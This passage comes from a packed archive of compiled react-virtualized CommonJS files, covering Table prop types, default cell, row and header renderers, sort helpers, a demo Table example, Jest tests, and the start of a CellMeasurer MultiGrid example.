   * Responsible for rendering a table row given an array of columns:
   * Should implement the following interface: ({
   *   className: string,
   *   columns: any[],
   *   style: any
   * }): PropTypes.node
   */
  headerRowRenderer: _propTypes["default"].func,

  /** Optional custom inline style to attach to table header columns. */
  headerStyle: _propTypes["default"].object,

  /** Fixed/available height for out DOM element */
  height: _propTypes["default"].number.isRequired,

  /** Optional id */
  id: _propTypes["default"].string,

  /** Optional renderer to be used in place of table body rows when rowCount is 0 */
  noRowsRenderer: _propTypes["default"].func,

  /**
   * Optional callback when a column is clicked.
   * ({ columnData: any, dataKey: string }): void
   */
  onColumnClick: _propTypes["default"].func,

  /**
   * Optional callback when a column's header is clicked.
   * ({ columnData: any, dataKey: string }): void
   */
  onHeaderClick: _propTypes["default"].func,

  /**
   * Callback invoked when a user clicks on a table row.
   * ({ index: number }): void
   */
  onRowClick: _propTypes["default"].func,

  /**
   * Callback invoked when a user double-clicks on a table row.
   * ({ index: number }): void
   */
  onRowDoubleClick: _propTypes["default"].func,

  /**
   * Callback invoked when the mouse leaves a table row.
   * ({ index: number }): void
   */
  onRowMouseOut: _propTypes["default"].func,

  /**
   * Callback invoked when a user moves the mouse over a table row.
   * ({ index: number }): void
   */
  onRowMouseOver: _propTypes["default"].func,

  /**
   * Callback invoked when a user right-clicks on a table row.
   * ({ index: number }): void
   */
  onRowRightClick: _propTypes["default"].func,

  /**
   * Callback invoked with information about the slice of rows that were just rendered.
   * ({ startIndex, stopIndex }): void
   */
  onRowsRendered: _propTypes["default"].func,

  /**
   * Callback invoked whenever the scroll offset changes within the inner scrollable region.
   * This callback can be used to sync scrolling between lists, tables, or grids.
   * ({ clientHeight, scrollHeight, scrollTop }): void
   */
  onScroll: _propTypes["default"].func.isRequired,

  /** See Grid#overscanIndicesGetter */
  overscanIndicesGetter: _propTypes["default"].func.isRequired,

  /**
   * Number of rows to render above/below the visible bounds of the list.
   * These rows can help for smoother scrolling on touch devices.
   */
  overscanRowCount: _propTypes["default"].number.isRequired,

  /**
   * Optional CSS class to apply to all table rows (including the header row).
   * This property can be a CSS class name (string) or a function that returns a class name.
   * If a function is provided its signature should be: ({ index: number }): string
   */
  rowClassName: _propTypes["default"].oneOfType([_propTypes["default"].string, _propTypes["default"].func]),

  /**
   * Callback responsible for returning a data row given an index.
   * ({ index: number }): any
   */
  rowGetter: _propTypes["default"].func.isRequired,

  /**
   * Either a fixed row height (number) or a function that returns the height of a row given its index.
   * ({ index: number }): number
   */
  rowHeight: _propTypes["default"].oneOfType([_propTypes["default"].number, _propTypes["default"].func]).isRequired,

  /** Number of rows in table. */
  rowCount: _propTypes["default"].number.isRequired,

  /**
   * Responsible for rendering a table row given an array of columns:
   * Should implement the following interface: ({
   *   className: string,
   *   columns: Array,
   *   index: number,
   *   isScrolling: boolean,
   *   onRowClick: ?Function,
   *   onRowDoubleClick: ?Function,
   *   onRowMouseOver: ?Function,
   *   onRowMouseOut: ?Function,
   *   rowData: any,
   *   style: any
   * }): PropTypes.node
   */
  rowRenderer: _propTypes["default"].func,

  /** Optional custom inline style to attach to table rows. */
  rowStyle: _propTypes["default"].oneOfType([_propTypes["default"].object, _propTypes["default"].func]).isRequired,

  /** See Grid#scrollToAlignment */
  scrollToAlignment: _propTypes["default"].oneOf(['auto', 'end', 'start', 'center']).isRequired,

  /** Row index to ensure visible (by forcefully scrolling if necessary) */
  scrollToIndex: _propTypes["default"].number.isRequired,

  /** Vertical offset. */
  scrollTop: _propTypes["default"].number,

  /**
   * Sort function to be called if a sortable header is clicked.
   * Should implement the following interface: ({
   *   defaultSortDirection: 'ASC' | 'DESC',
   *   event: MouseEvent,
   *   sortBy: string,
   *   sortDirection: SortDirection
   * }): void
   */
  sort: _propTypes["default"].func,

  /** Table data is currently sorted by this :dataKey (if it is sorted at all) */
  sortBy: _propTypes["default"].string,

  /** Table data is currently sorted in this direction (if it is sorted at all) */
  sortDirection: _propTypes["default"].oneOf([_SortDirection["default"].ASC, _SortDirection["default"].DESC]),

  /** Optional inline style */
  style: _propTypes["default"].object,

  /** Tab index for focus */
  tabIndex: _propTypes["default"].number,

  /** Width of list */
  width: _propTypes["default"].number.isRequired
} : {};commonjs/Table/defaultCellRenderer.js000064400000000744151677406000013704 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = defaultCellRenderer;

var _types = require("./types");

/**
 * Default cell renderer that displays an attribute as a simple string
 * You should override the column's cellRenderer if your data is some other type of object.
 */
function defaultCellRenderer(_ref) {
  var cellData = _ref.cellData;

  if (cellData == null) {
    return '';
  } else {
    return String(cellData);
  }
}commonjs/Table/defaultRowRenderer.js000064400000005113151677406000013567 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = defaultRowRenderer;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var React = _interopRequireWildcard(require("react"));

var _types = require("./types");

var _propTypes = _interopRequireDefault(require("prop-types"));

/**
 * Default row renderer for Table.
 */
function defaultRowRenderer(_ref) {
  var className = _ref.className,
      columns = _ref.columns,
      index = _ref.index,
      key = _ref.key,
      onRowClick = _ref.onRowClick,
      onRowDoubleClick = _ref.onRowDoubleClick,
      onRowMouseOut = _ref.onRowMouseOut,
      onRowMouseOver = _ref.onRowMouseOver,
      onRowRightClick = _ref.onRowRightClick,
      rowData = _ref.rowData,
      style = _ref.style;
  var a11yProps = {
    'aria-rowindex': index + 1
  };

  if (onRowClick || onRowDoubleClick || onRowMouseOut || onRowMouseOver || onRowRightClick) {
    a11yProps['aria-label'] = 'row';
    a11yProps.tabIndex = 0;

    if (onRowClick) {
      a11yProps.onClick = function (event) {
        return onRowClick({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }

    if (onRowDoubleClick) {
      a11yProps.onDoubleClick = function (event) {
        return onRowDoubleClick({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }

    if (onRowMouseOut) {
      a11yProps.onMouseOut = function (event) {
        return onRowMouseOut({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }

    if (onRowMouseOver) {
      a11yProps.onMouseOver = function (event) {
        return onRowMouseOver({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }

    if (onRowRightClick) {
      a11yProps.onContextMenu = function (event) {
        return onRowRightClick({
          event: event,
          index: index,
          rowData: rowData
        });
      };
    }
  }

  return React.createElement("div", (0, _extends2["default"])({}, a11yProps, {
    className: className,
    key: key,
    role: "row",
    style: style
  }), columns);
}

defaultRowRenderer.propTypes = process.env.NODE_ENV === 'production' ? null : _types.bpfrpt_proptype_RowRendererParams === _propTypes["default"].any ? {} : _types.bpfrpt_proptype_RowRendererParams;commonjs/Table/index.js000064400000004710151677406000011075 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "createMultiSort", {
  enumerable: true,
  get: function get() {
    return _createMultiSort["default"];
  }
});
Object.defineProperty(exports, "defaultCellDataGetter", {
  enumerable: true,
  get: function get() {
    return _defaultCellDataGetter["default"];
  }
});
Object.defineProperty(exports, "defaultCellRenderer", {
  enumerable: true,
  get: function get() {
    return _defaultCellRenderer["default"];
  }
});
Object.defineProperty(exports, "defaultHeaderRowRenderer", {
  enumerable: true,
  get: function get() {
    return _defaultHeaderRowRenderer["default"];
  }
});
Object.defineProperty(exports, "defaultHeaderRenderer", {
  enumerable: true,
  get: function get() {
    return _defaultHeaderRenderer["default"];
  }
});
Object.defineProperty(exports, "defaultRowRenderer", {
  enumerable: true,
  get: function get() {
    return _defaultRowRenderer["default"];
  }
});
Object.defineProperty(exports, "Column", {
  enumerable: true,
  get: function get() {
    return _Column["default"];
  }
});
Object.defineProperty(exports, "SortDirection", {
  enumerable: true,
  get: function get() {
    return _SortDirection["default"];
  }
});
Object.defineProperty(exports, "SortIndicator", {
  enumerable: true,
  get: function get() {
    return _SortIndicator["default"];
  }
});
Object.defineProperty(exports, "Table", {
  enumerable: true,
  get: function get() {
    return _Table["default"];
  }
});
exports["default"] = void 0;

var _createMultiSort = _interopRequireDefault(require("./createMultiSort"));

var _defaultCellDataGetter = _interopRequireDefault(require("./defaultCellDataGetter"));

var _defaultCellRenderer = _interopRequireDefault(require("./defaultCellRenderer"));

var _defaultHeaderRowRenderer = _interopRequireDefault(require("./defaultHeaderRowRenderer.js"));

var _defaultHeaderRenderer = _interopRequireDefault(require("./defaultHeaderRenderer"));

var _defaultRowRenderer = _interopRequireDefault(require("./defaultRowRenderer"));

var _Column = _interopRequireDefault(require("./Column"));

var _SortDirection = _interopRequireDefault(require("./SortDirection"));

var _SortIndicator = _interopRequireDefault(require("./SortIndicator"));

var _Table = _interopRequireDefault(require("./Table"));

var _default = _Table["default"];
exports["default"] = _default;commonjs/Table/SortIndicator.js000064400000003057151677406000012555 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = SortIndicator;

var _clsx = _interopRequireDefault(require("clsx"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _SortDirection = _interopRequireDefault(require("./SortDirection"));

/**
 * Displayed beside a header to indicate that a Table is currently sorted by this column.
 */
function SortIndicator(_ref) {
  var sortDirection = _ref.sortDirection;
  var classNames = (0, _clsx["default"])('ReactVirtualized__Table__sortableHeaderIcon', {
    'ReactVirtualized__Table__sortableHeaderIcon--ASC': sortDirection === _SortDirection["default"].ASC,
    'ReactVirtualized__Table__sortableHeaderIcon--DESC': sortDirection === _SortDirection["default"].DESC
  });
  return React.createElement("svg", {
    className: classNames,
    width: 18,
    height: 18,
    viewBox: "0 0 24 24"
  }, sortDirection === _SortDirection["default"].ASC ? React.createElement("path", {
    d: "M7 14l5-5 5 5z"
  }) : React.createElement("path", {
    d: "M7 10l5 5 5-5z"
  }), React.createElement("path", {
    d: "M0 0h24v24H0z",
    fill: "none"
  }));
}

SortIndicator.propTypes = process.env.NODE_ENV !== "production" ? {
  sortDirection: _propTypes["default"].oneOf([_SortDirection["default"].ASC, _SortDirection["default"].DESC])
} : {};commonjs/Table/Table.example.js000064400000031644151677406000012455 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _LabeledInput = require("../demo/LabeledInput");

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _Column = _interopRequireDefault(require("./Column"));

var _Table = _interopRequireDefault(require("./Table"));

var _SortDirection = _interopRequireDefault(require("./SortDirection"));

var _SortIndicator = _interopRequireDefault(require("./SortIndicator"));

var _TableExample = _interopRequireDefault(require("./Table.example.css"));

var TableExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(TableExample, _React$PureComponent);

  function TableExample(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, TableExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(TableExample).call(this, props, context));
    var sortBy = 'index';
    var sortDirection = _SortDirection["default"].ASC;

    var sortedList = _this._sortList({
      sortBy: sortBy,
      sortDirection: sortDirection
    });

    _this.state = {
      disableHeader: false,
      headerHeight: 30,
      height: 270,
      hideIndexRow: false,
      overscanRowCount: 10,
      rowHeight: 40,
      rowCount: 1000,
      scrollToIndex: undefined,
      sortBy: sortBy,
      sortDirection: sortDirection,
      sortedList: sortedList,
      useDynamicRowHeight: false
    };
    _this._getRowHeight = _this._getRowHeight.bind((0, _assertThisInitialized2["default"])(_this));
    _this._headerRenderer = _this._headerRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._noRowsRenderer = _this._noRowsRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onRowCountChange = _this._onRowCountChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onScrollToRowChange = _this._onScrollToRowChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._rowClassName = _this._rowClassName.bind((0, _assertThisInitialized2["default"])(_this));
    _this._sort = _this._sort.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(TableExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          disableHeader = _this$state.disableHeader,
          headerHeight = _this$state.headerHeight,
          height = _this$state.height,
          hideIndexRow = _this$state.hideIndexRow,
          overscanRowCount = _this$state.overscanRowCount,
          rowHeight = _this$state.rowHeight,
          rowCount = _this$state.rowCount,
          scrollToIndex = _this$state.scrollToIndex,
          sortBy = _this$state.sortBy,
          sortDirection = _this$state.sortDirection,
          sortedList = _this$state.sortedList,
          useDynamicRowHeight = _this$state.useDynamicRowHeight;

      var rowGetter = function rowGetter(_ref) {
        var index = _ref.index;
        return _this2._getDatum(sortedList, index);
      };

      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "Table",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/Table/Table.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/Table.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "The table layout below is created with flexboxes. This allows it to have a fixed header and scrollable body content. It also makes use of", ' ', React.createElement("code", null, "Grid"), " for windowing table content so that large lists are rendered efficiently. Adjust its configurable properties below to see how it reacts."), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("label", {
        className: _TableExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use dynamic row heights?",
        checked: useDynamicRowHeight,
        className: _TableExample["default"].checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2._updateUseDynamicRowHeight(event.target.checked);
        }
      }), "Use dynamic row heights?"), React.createElement("label", {
        className: _TableExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Hide index?",
        checked: hideIndexRow,
        className: _TableExample["default"].checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            hideIndexRow: event.target.checked
          });
        }
      }), "Hide index?"), React.createElement("label", {
        className: _TableExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Hide header?",
        checked: disableHeader,
        className: _TableExample["default"].checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            disableHeader: event.target.checked
          });
        }
      }), "Hide header?")), React.createElement(_LabeledInput.InputRow, null, React.createElement(_LabeledInput.LabeledInput, {
        label: "Num rows",
        name: "rowCount",
        onChange: this._onRowCountChange,
        value: rowCount
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Scroll to",
        name: "onScrollToRow",
        placeholder: "Index...",
        onChange: this._onScrollToRowChange,
        value: scrollToIndex || ''
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "List height",
        name: "height",
        onChange: function onChange(event) {
          return _this2.setState({
            height: parseInt(event.target.value, 10) || 1
          });
        },
        value: height
      }), React.createElement(_LabeledInput.LabeledInput, {
        disabled: useDynamicRowHeight,
        label: "Row height",
        name: "rowHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            rowHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: rowHeight
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Header height",
        name: "headerHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            headerHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: headerHeight
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Overscan",
        name: "overscanRowCount",
        onChange: function onChange(event) {
          return _this2.setState({
            overscanRowCount: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanRowCount
      })), React.createElement("div", null, React.createElement(_AutoSizer["default"], {
        disableHeight: true
      }, function (_ref2) {
        var width = _ref2.width;
        return React.createElement(_Table["default"], {
          ref: "Table",
          disableHeader: disableHeader,
          headerClassName: _TableExample["default"].headerColumn,
          headerHeight: headerHeight,
          height: height,
          noRowsRenderer: _this2._noRowsRenderer,
          overscanRowCount: overscanRowCount,
          rowClassName: _this2._rowClassName,
          rowHeight: useDynamicRowHeight ? _this2._getRowHeight : rowHeight,
          rowGetter: rowGetter,
          rowCount: rowCount,
          scrollToIndex: scrollToIndex,
          sort: _this2._sort,
          sortBy: sortBy,
          sortDirection: sortDirection,
          width: width
        }, !hideIndexRow && React.createElement(_Column["default"], {
          label: "Index",
          cellDataGetter: function cellDataGetter(_ref3) {
            var rowData = _ref3.rowData;
            return rowData.index;
          },
          dataKey: "index",
          disableSort: !_this2._isSortEnabled(),
          width: 60
        }), React.createElement(_Column["default"], {
          dataKey: "name",
          disableSort: !_this2._isSortEnabled(),
          headerRenderer: _this2._headerRenderer,
          width: 90
        }), React.createElement(_Column["default"], {
          width: 210,
          disableSort: true,
          label: "The description label is really long so that it will be truncated",
          dataKey: "random",
          className: _TableExample["default"].exampleColumn,
          cellRenderer: function cellRenderer(_ref4) {
            var cellData = _ref4.cellData;
            return cellData;
          },
          flexGrow: 1
        }));
      })));
    }
  }, {
    key: "_getDatum",
    value: function _getDatum(list, index) {
      return list.get(index % list.size);
    }
  }, {
    key: "_getRowHeight",
    value: function _getRowHeight(_ref5) {
      var index = _ref5.index;
      var list = this.context.list;
      return this._getDatum(list, index).size;
    }
  }, {
    key: "_headerRenderer",
    value: function _headerRenderer(_ref6) {
      var dataKey = _ref6.dataKey,
          sortBy = _ref6.sortBy,
          sortDirection = _ref6.sortDirection;
      return React.createElement("div", null, "Full Name", sortBy === dataKey && React.createElement(_SortIndicator["default"], {
        sortDirection: sortDirection
      }));
    }
  }, {
    key: "_isSortEnabled",
    value: function _isSortEnabled() {
      var list = this.context.list;
      var rowCount = this.state.rowCount;
      return rowCount <= list.size;
    }
  }, {
    key: "_noRowsRenderer",
    value: function _noRowsRenderer() {
      return React.createElement("div", {
        className: _TableExample["default"].noRows
      }, "No rows");
    }
  }, {
    key: "_onRowCountChange",
    value: function _onRowCountChange(event) {
      var rowCount = parseInt(event.target.value, 10) || 0;
      this.setState({
        rowCount: rowCount
      });
    }
  }, {
    key: "_onScrollToRowChange",
    value: function _onScrollToRowChange(event) {
      var rowCount = this.state.rowCount;
      var scrollToIndex = Math.min(rowCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToIndex)) {
        scrollToIndex = undefined;
      }

      this.setState({
        scrollToIndex: scrollToIndex
      });
    }
  }, {
    key: "_rowClassName",
    value: function _rowClassName(_ref7) {
      var index = _ref7.index;

      if (index < 0) {
        return _TableExample["default"].headerRow;
      } else {
        return index % 2 === 0 ? _TableExample["default"].evenRow : _TableExample["default"].oddRow;
      }
    }
  }, {
    key: "_sort",
    value: function _sort(_ref8) {
      var sortBy = _ref8.sortBy,
          sortDirection = _ref8.sortDirection;

      var sortedList = this._sortList({
        sortBy: sortBy,
        sortDirection: sortDirection
      });

      this.setState({
        sortBy: sortBy,
        sortDirection: sortDirection,
        sortedList: sortedList
      });
    }
  }, {
    key: "_sortList",
    value: function _sortList(_ref9) {
      var sortBy = _ref9.sortBy,
          sortDirection = _ref9.sortDirection;
      var list = this.context.list;
      return list.sortBy(function (item) {
        return item[sortBy];
      }).update(function (list) {
        return sortDirection === _SortDirection["default"].DESC ? list.reverse() : list;
      });
    }
  }, {
    key: "_updateUseDynamicRowHeight",
    value: function _updateUseDynamicRowHeight(value) {
      this.setState({
        useDynamicRowHeight: value
      });
    }
  }]);
  return TableExample;
}(React.PureComponent);

exports["default"] = TableExample;
(0, _defineProperty2["default"])(TableExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired
});commonjs/Table/SortDirection.js000064400000000741151677406000012556 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;
var SortDirection = {
  /**
   * Sort items in ascending order.
   * This means arranging from the lowest value to the highest (e.g. a-z, 0-9).
   */
  ASC: 'ASC',

  /**
   * Sort items in descending order.
   * This means arranging from the highest value to the lowest (e.g. z-a, 9-0).
   */
  DESC: 'DESC'
};
var _default = SortDirection;
exports["default"] = _default;commonjs/Table/defaultHeaderRenderer.js000064400000002542151677406000014213 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = defaultHeaderRenderer;

var React = _interopRequireWildcard(require("react"));

var _SortIndicator = _interopRequireDefault(require("./SortIndicator"));

var _types = require("./types");

var _propTypes = _interopRequireDefault(require("prop-types"));

/**
 * Default table header renderer.
 */
function defaultHeaderRenderer(_ref) {
  var dataKey = _ref.dataKey,
      label = _ref.label,
      sortBy = _ref.sortBy,
      sortDirection = _ref.sortDirection;
  var showSortIndicator = sortBy === dataKey;
  var children = [React.createElement("span", {
    className: "ReactVirtualized__Table__headerTruncatedText",
    key: "label",
    title: typeof label === 'string' ? label : null
  }, label)];

  if (showSortIndicator) {
    children.push(React.createElement(_SortIndicator["default"], {
      key: "SortIndicator",
      sortDirection: sortDirection
    }));
  }

  return children;
}

defaultHeaderRenderer.propTypes = process.env.NODE_ENV === 'production' ? null : _types.bpfrpt_proptype_HeaderRendererParams === _propTypes["default"].any ? {} : _types.bpfrpt_proptype_HeaderRendererParams;commonjs/Table/Column.jest.js000064400000006034151677406000012170 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var React = _interopRequireWildcard(require("react"));

var _immutable = _interopRequireDefault(require("immutable"));

var _defaultCellDataGetter = _interopRequireDefault(require("./defaultCellDataGetter"));

var _defaultCellRenderer = _interopRequireDefault(require("./defaultCellRenderer"));

var _defaultHeaderRenderer = _interopRequireDefault(require("./defaultHeaderRenderer"));

describe('Column', function () {
  var rowData = _immutable["default"].Map({
    foo: 'Foo',
    bar: 1
  });

  describe('defaultCellDataGetter', function () {
    it('should return a value for specified attributes', function () {
      expect((0, _defaultCellDataGetter["default"])({
        dataKey: 'foo',
        rowData: rowData
      })).toEqual('Foo');
      expect((0, _defaultCellDataGetter["default"])({
        dataKey: 'bar',
        rowData: rowData
      })).toEqual(1);
    });
    it('should return undefined for missing attributes', function () {
      expect((0, _defaultCellDataGetter["default"])({
        dataKey: 'baz',
        rowData: rowData
      })).toEqual(undefined);
    });
  });
  describe('defaultCellRenderer', function () {
    it('should render a value for specified attributes', function () {
      expect((0, _defaultCellRenderer["default"])({
        cellData: 'Foo',
        dataKey: 'foo',
        rowData: rowData,
        rowIndex: 0
      })).toEqual('Foo');
      expect((0, _defaultCellRenderer["default"])({
        cellData: 1,
        dataKey: 'bar',
        rowData: rowData,
        rowIndex: 0
      })).toEqual('1');
    });
    it('should render empty string for null or missing attributes', function () {
      expect((0, _defaultCellRenderer["default"])({
        cellData: null,
        dataKey: 'baz',
        rowData: rowData,
        rowIndex: 0
      })).toEqual('');
      expect((0, _defaultCellRenderer["default"])({
        cellData: undefined,
        dataKey: 'baz',
        rowData: rowData,
        rowIndex: 0
      })).toEqual('');
    });
  });
  describe('defaultHeaderRenderer', function () {
    it('should render a value for specified attributes', function () {
      expect((0, _defaultHeaderRenderer["default"])({
        dataKey: 'foo',
        label: 'squirrel'
      })[0].props.children).toEqual('squirrel');
      var label = React.createElement("div", {
        className: "rabbit"
      }, "Rabbit");
      expect((0, _defaultHeaderRenderer["default"])({
        dataKey: 'bar',
        label: label
      })[0].props.children).toEqual(label);
    });
    it('should render empty string for null or missing attributes', function () {
      expect((0, _defaultHeaderRenderer["default"])({
        dataKey: 'foo',
        label: null
      })[0].props.children).toBeNull();
      expect((0, _defaultHeaderRenderer["default"])({
        dataKey: 'bar',
        label: undefined
      })[0].props.children).toBeUndefined();
    });
  });
});commonjs/Table/defaultCellDataGetter.js000064400000001174151677406000014160 0ustar00"use strict";

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = defaultCellDataGetter;

var _types = require("./types");

/**
 * Default accessor for returning a cell value for a given attribute.
 * This function expects to operate on either a vanilla Object or an Immutable Map.
 * You should override the column's cellDataGetter if your data is some other type of object.
 */
function defaultCellDataGetter(_ref) {
  var dataKey = _ref.dataKey,
      rowData = _ref.rowData;

  if (typeof rowData.get === 'function') {
    return rowData.get(dataKey);
  } else {
    return rowData[dataKey];
  }
}commonjs/Table/defaultHeaderRowRenderer.js000064400000001632151677406000014702 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = defaultHeaderRowRenderer;

var React = _interopRequireWildcard(require("react"));

var _types = require("./types");

var _propTypes = _interopRequireDefault(require("prop-types"));

function defaultHeaderRowRenderer(_ref) {
  var className = _ref.className,
      columns = _ref.columns,
      style = _ref.style;
  return React.createElement("div", {
    className: className,
    role: "row",
    style: style
  }, columns);
}

defaultHeaderRowRenderer.propTypes = process.env.NODE_ENV === 'production' ? null : _types.bpfrpt_proptype_HeaderRowRendererParams === _propTypes["default"].any ? {} : _types.bpfrpt_proptype_HeaderRowRendererParams;commonjs/CellMeasurer/CellMeasurer.DynamicWidthMultiGrid.example.js000064400000012241151677406000021541 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _CellMeasurer = _interopRequireDefault(require("./CellMeasurer"));

var _CellMeasurerCache = _interopRequireDefault(require("./CellMeasurerCache"));

var _MultiGrid = _interopRequireDefault(require("../MultiGrid"));

var _CellMeasurerExample = _interopRequireDefault(require("./CellMeasurer.example.css"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var DynamicWidthMultiGrid =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(DynamicWidthMultiGrid, _React$PureComponent);

  function DynamicWidthMultiGrid(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, DynamicWidthMultiGrid);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(DynamicWidthMultiGrid).call(this, props, context));
    _this._cache = new _CellMeasurerCache["default"]({
      defaultHeight: 30,
      defaultWidth: 150,
      fixedHeight: true
    });
    _this._cellRenderer = _this._cellRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(DynamicWidthMultiGrid, [{
    key: "render",
    value: function render() {
      var width = this.props.width;
      return React.createElement(_MultiGrid["default"], {
        className: _CellMeasurerExample["default"].BodyGrid,
        columnCount: 50,
        columnWidth: this._cache.columnWidth,
        deferredMeasurementCache: this._cache,
        fixedColumnCount: 1,
        fixedRowCount: 0,
        height: 400,
        overscanColumnCount: 0,
        overscanRowCount: 0,
        cellRenderer: this._cellRenderer,
        rowCount: 50,
        rowHeight: 30,
        width: width
      });
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref) {
      var columnIndex = _ref.columnIndex,
          key = _ref.key,
          parent = _ref.parent,
